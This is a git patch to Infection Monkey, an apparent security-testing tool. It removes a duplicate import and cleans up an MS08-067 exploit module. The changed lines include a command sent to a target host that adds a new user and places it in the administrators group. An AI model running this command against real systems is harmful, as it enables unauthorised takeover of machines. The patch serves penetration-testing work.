From db789abf0045dae652d50db5cca7f594ad432293 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Thu, 27 Aug 2020 14:16:33 +0300 Subject: [PATCH] Removed typos and cleaned up win_ms08_067.py code --- monkey/common/utils/wmi_utils.py | 1 - monkey/infection_monkey/exploit/win_ms08_067.py | 8 +++----- 2 files changed, 3 insertions(+), 6 deletions(-) diff --git a/monkey/common/utils/wmi_utils.py b/monkey/common/utils/wmi_utils.py index d13962942..fc82663cb 100644 --- a/monkey/common/utils/wmi_utils.py +++ b/monkey/common/utils/wmi_utils.py @@ -5,7 +5,6 @@ if sys.platform.startswith("win"): pythoncom.CoInitialize() import wmi - import wmi from .mongo_utils import MongoUtils diff --git a/monkey/infection_monkey/exploit/win_ms08_067.py b/monkey/infection_monkey/exploit/win_ms08_067.py index 09d452f2d..d2ad58349 100644 --- a/monkey/infection_monkey/exploit/win_ms08_067.py +++ b/monkey/infection_monkey/exploit/win_ms08_067.py @@ -163,8 +163,6 @@ class Ms08_067_Exploiter(HostExploiter): super(Ms08_067_Exploiter, self).__init__(host) def is_os_supported(self): - if self.host.os['type'] == 'windows': - return True if self.host.os.get('type') in self._TARGET_OS_TYPE and \ self.host.os.get('version') in list(self._windows_versions.keys()): return True @@ -197,9 +195,9 @@ class Ms08_067_Exploiter(HostExploiter): sock.send("cmd /c (net user {} {} /add) &&" " (net localgroup administrators {} /add)\r\n".format( - self._config.user_to_add, - self._config.remote_user_pass, - self._config.user_to_add).encode()) + self._config.user_to_add, + self._config.remote_user_pass, + self._config.user_to_add).encode()) time.sleep(2) reply = sock.recv(1000)